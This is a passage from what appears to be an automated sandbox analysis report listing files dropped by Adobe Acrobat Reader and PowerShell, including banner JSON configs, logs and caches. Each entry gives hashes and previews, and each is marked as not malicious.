MD5:	5FE695D37EBA0D4BCC9D5BD829E457BF
SHA1:	CA6C2FF2ADE5A418EEA830397657BBCC2ADA00ED
SHA-256:	9B945BF183E1C0EA6E512CC3B79A3ACF8E2022C27E134C5C2EF8D21D20BBFC3B
SHA-512:	866AE5E7582AAA5E1BD68FE4C0111DD9ABD4C9934047FDADAF5C26C8E0E0E4DB6C6BE5BC35A8B2A9DAD54E94D8011A636A5C3E5E0FFA964737828ADF09D8EAB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320283824729314
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfFldPeUkwRe9:YvXKXan/zUsdTeOKLAGz8Ukee9
MD5:	F0886BBEF1F46720FFD664C130C2F3F3
SHA1:	0E1985AD7D92505B03351DDAF28C2C0F0A73DD1C
SHA-256:	469C38EBDB26B00573D4B43F7936141E107E82F474C3C7CEBB4147DB2CE1B6E7
SHA-512:	2B36F71EE416A30BFEAE0C869BCCEB7821007D81C26CC9F7665A0074C06D07B97A23A091F77308853BC4FEA9A04EED644182C4FF1D8865141FF44231F6AD13B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326241060191449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfzdPeUkwRe9:YvXKXan/zUsdTeOKLAGb8Ukee9
MD5:	EBBE40C8081432C65028FC9AC25A0D33
SHA1:	B1BFAF0250A853A1A7DB0BF56B6D5340113D3F02
SHA-256:	0702513E8DCD6E45311C2DAAC033083EE315483F5636FEFC247C3BF1DC3C3304
SHA-512:	5A4722A5F22EAACBC6D043BC334EB3F68861B87A1E761703D338A79E8078B8CED5B32F08399A5B712E2D6063A669D8F37867BD17CE056D10558412385803B77B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306733769097272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfYdPeUkwRe9:YvXKXan/zUsdTeOKLAGg8Ukee9
MD5:	5F3CEE204D8FF31D7535A299D61DC65C
SHA1:	DF0AE3EDB54EAD70B7ED15441FFEA5704F2FE56B
SHA-256:	04A2315287B405FF830D7DA879721C274D0BC09C493317CB7084A58CA4E30CE3
SHA-512:	EEFEDB653C7A4C769209712C2EDA11FCA6B72DF70541E21BE4BC39578833188CFB20DB7371215A11ABB19922F014CE495EC1D00EC65ED55234E8A17A739E5352
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293201685120626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJf+dPeUkwRe9:YvXKXan/zUsdTeOKLAG28Ukee9
MD5:	14938B94C583928C02AE10DC11A321FE
SHA1:	D97D83A97FC7857DD7526C6E2C45EA8EFB33188C
SHA-256:	953F8846791378163629CD50A46B011A1CF55D0EDBF6CB4432E23313AAA920DB
SHA-512:	B6DC31BE7971F18D0C67D99D1E19FFB3C9E61B649074D433E42BA73D99D8304CD8E89513FEFA76A3EF2D0675CFE5EF36A2FE1BB62F89D4829153E6A243E0F62D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.290234586571153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfbPtdPeUkwRe9:YvXKXan/zUsdTeOKLAGDV8Ukee9
MD5:	20CA697FA6DE7B0F257DAB4187C662A5
SHA1:	D61B6147411AA54AA1C8EE6BFCA51570418AE7C7
SHA-256:	79B58F493DF485591D1DA611BE970CC76EE6F5DA370E4B1C26D9292B3ADDBD42
SHA-512:	02BC04484430647DCF3D139095FE451FC73881844A821D660B8ECAFA27CC45247688C0D12CB104CF482AD546BD155740A104BAC2247E648A4F7C2E66E4F36501
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2946648640164575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJf21rPeUkwRe9:YvXKXan/zUsdTeOKLAG+16Ukee9
MD5:	B7205E3113FE17CE642FB489092BD781
SHA1:	A914157BA826A2C2825582D43AA44C901AE97890
SHA-256:	8D35CCC96266FF157FEB3430A62E3A16355E37C5D08785D8DE52BD5B44082A74
SHA-512:	D90298B8AC282AEFFC411757548EB43C91D9801DDDBAD6907BCA79BDD838F162022ABF0C629159ECC15161994D5BADE3480378154A4427C84AF524D06A08950B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66465814272853
Encrypted:	false
SSDEEP:	24:Yv6XeAmeOCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvFje5BgkDMUJUAh8cvMy
MD5:	A5559B2C650ED12E056C67A072C61C76
SHA1:	66FFA9DBC5BC9A723A8E169A99B9912B1C02289A
SHA-256:	D6A756A4FA0DED03DB30A2B096F5DC8A56AD52B8D182DBA71B0702C79C796973
SHA-512:	8A461DE5D161C12C44EF49F13E8C0ADB8C682A5F8532D7F05FA9854DFDC0DEBBDC54E6CF0559258139EFCAE27DE7E29D4770553C75C5635CD59544B80A354C34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271660012810072
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJfshHHrPeUkwRe9:YvXKXan/zUsdTeOKLAGUUUkee9
MD5:	E256A115D13C04CF8BE217B16D0481FA
SHA1:	2A7D911DB1DCE9C43C59033E7F85EC38890834DA
SHA-256:	1EE853D4029A0FA8C1602FC71D945B7D45C066E287F95CDD7E1E0B3BB9B9D408
SHA-512:	5E14E089034AF1BF5DE35A358CB3C95BA3B70B0AD83FAC1F6627D2AF25E71FBD85E5F59093721D24880998870A65E1636FC044E996250E05802B76586B023C87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286974306521053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGDuK/zUeWsGiIPEeOF0YqL/oAvJTqgFCrPeUkwRe9:YvXKXan/zUsdTeOKLAGTq16Ukee9
MD5:	18BBA59C26748F66F81824ACB281FB3E
SHA1:	AACAEC1285292871EEE4E7E92E2F3AD08EEB028C
SHA-256:	A5EEAF54C46AD651AF2A48C2F61CDD0582D9D7F7B0CD43625BA83B837320098D
SHA-512:	BBE13E4C0D7B88EF39EAF6BEA3EF74A9E78F9941A7E2CA03B95D43C88C472A3ABDB970D414CC15F85289EC87533D749421B81BF3179CF414E330F442728F10B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c8ee788-c53d-4339-97a8-f19033c26fb2","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736708060517,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143706692385047
Encrypted:	false
SSDEEP:	48:Y4wLjWrD76TQ8orMA4Y66CLlptd9xOO/N1mc8z//A90aOl:q32Des8Y4Y62c1vW
MD5:	3F76C508BEC193248C0DA8B09A0B1465
SHA1:	B2E31822F559879A987AEE44125ACC73CD3BAE9C
SHA-256:	EDFFEE6AF6E8E0D62159F514D90A2A1839F7A02E1205CE6631C6FB2471722CF1
SHA-512:	20BCD1668FEE98F6DB6D6891BA9B6CFDE23F71E4FCC7AD956841EBF642BCD667008996AC63D84C6081321B6EBB8AA4D0342AE3E5B764AE2D8E0994671D5E1023
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e79ea9d86783cd34c4790484dccb0e0c","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530984000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"766080ea7d17773bcc982cc1bcf8690f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530984000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"97c4f2347774308dd29da2a41d612a0e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530984000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"04ead049798d07476641c5d7c84c9526","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530984000},{"id":"DC_FirstMile_Home_View_Surface","info":{"dg":"4691d34c0f52545f7f018c5a0c0c2f6d","sid":"DC_FirstMile_Home_View_Surface"},"mimeType":"file","size":294,"ts":1736530984000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"ab22f9b2c86b2625b3169d44c8cad134","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"fil

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4530457994330965
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsOel84:lNVmsw3SHtbDbPe0K3+fDZdY
MD5:	9AE1C68B5D63BE149AF30AFD614DC25F
SHA1:	BBE1BAD4498BD22DB530FC5E6157B267A12238BE
SHA-256:	0B38738FA0DCB4482001FA9C53AFFAEB48E3329D98F958259C7E1E6EC8195F36
SHA-512:	5223C16534F133A3BAFFF85B10D3864AFC0C6F81320D84F1203026F1A2FD481710696255262AD0A20A7CC039890D7A9E41503AF932A12006CBA5B79E4A88C8EE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9580266183157142
Encrypted:	false
SSDEEP:	48:7MRCrvrBd6dHtbGIbPe0K3+fDy2dsOP22qFl2GL7msu:78K3SHtbDbPe0K3+fDZd82KVmsu
MD5:	C72251D5EBDF8573342935637E2AA107
SHA1:	309B2A35FE930B35FBAA563C95FB2BD293D2FC5E
SHA-256:	B8B79D4FD283770822090897AE2BFE33DF927028E578645E0346ADDFD7936EDB
SHA-512:	88EE40D3EB20ACCA14262F13D0DD7AD55BCDA483A47FCDE9AFD324DD7118C4CFFC4EF9C2256E70606C0CF0A5A5AC12F36D58F86710A8DDBA9D1313851EE57EDD
Malicious:	false
Preview:	.... .c......q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgTdPaH+Sv6xEoRYZkg9vhntvUYyu:6a6TZ44ADETdPHN6ZkkltsK
MD5:	144C1FD6266184EB4A61281D6A885550
SHA1:	853E7AFFBFA39B61496DAC7DF31ABBA6CFEE0E9B
SHA-256:	CBDAC2DA3B854C4B547546196F514AFB5940DA4B818DFFEE04915FC515883689
SHA-512:	526B4F6F11FCDA5C952F44F6F26F410E4FB5B762BEB6CC5CEB529FE9CB02D07483FA4C76725E673DF0C2C0494121BB7C11A5C4919FEF6115700D9F3F5D5CDFC9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI6c7c4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE32olf9:Qw946cPbiOxDlbYnuRK+bD33H
MD5:	1489C36B91447B75523C8E245E3A98C0
SHA1:	3AFEC3292829FB307B02EFC4DFC19BEA113EE042
SHA-256:	6D62AFB405F3E458EF121044E87143C83048F94C7FA43C3F2CF432E2272D82D8
SHA-512:	F5D63171F1BE5755F12731D774E866540F3747583688923AFE5E503856AE589A54EF5211CB048C325DB37709212142D53125446E9A6B911E2D8FC9A84A9915B0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.3.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4cqeaqs0.ohp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vmtumub0.suo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-42-56-708.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15077
Entropy (8bit):	5.373160729146701
Encrypted:	false
SSDEEP:	384:AHT7yCXwhzcU5O8kl/GNgWpc8LEIjAQb96Isbjz/gfwvdXWRrO4W0N0JQ7Bpz+2J:FJH
MD5:	DABF692BDA8C53187035728C2D01960C
SHA1:	5379B83FA822EA5840177F095C2DF6D991C25C2C
SHA-256:	F0DF81C415780214E9FF4235C2BB8D205B321AF7CF15973DA94FCFEBCC9FDBD1
SHA-512:	923E3ECAE6F60C4980FA8DE431CA5E8243EEACB126CC6E8AEF50FB549440BCF3F0DAB1A075049A214FD950AA98A4C8E1CE2C33FDEB69F31F35036FB6A6FFC2F8
Malicious:	false
Preview:	SessionID=d2b658ce-b51c-4ad8-b8cb-31cb57f58dfd.1736530976728 Timestamp=2025-01-10T12:42:56:728-0500 ThreadID=720 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d2b658ce-b51c-4ad8-b8cb-31cb57f58dfd.1736530976728 Timestamp=2025-01-10T12:42:56:758-0500 ThreadID=720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d2b658ce-b51c-4ad8-b8cb-31cb57f58dfd.1736530976728 Timestamp=2025-01-10T12:42:56:758-0500 ThreadID=720 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d2b658ce-b51c-4ad8-b8cb-31cb57f58dfd.1736530976728 Timestamp=2025-01-10T12:42:56:759-0500 ThreadID=720 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d2b658ce-b51c-4ad8-b8cb-31cb57f58dfd.1736530976728 Timestamp=2025-01-10T12:42:56:759-0500 ThreadID=720 Component=ngl-lib_NglAppLib Description="SetConfig: N

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.410853088655156
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRTa:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRE
MD5:	A8E7A6B8218BDF58FA106B86D6487772
SHA1:	62A36156A8E59B95D2CE908092B5D6A5345CDFC3
SHA-256:	3A431FE0F1EC1D259B8BEF6CBFDE3CE21B4BBF5348EB59E164DE2370AE709A5B
SHA-512:	9EC8D006CE4AD205CC3D3EED48CF6999150898D63C8ADB477DDF0DF35F905C5CAA832E5B9C3E695B129259E106CDDCDFF31F615EB8D79FBBCA5B808D9A7E35BF
Malicious:	false
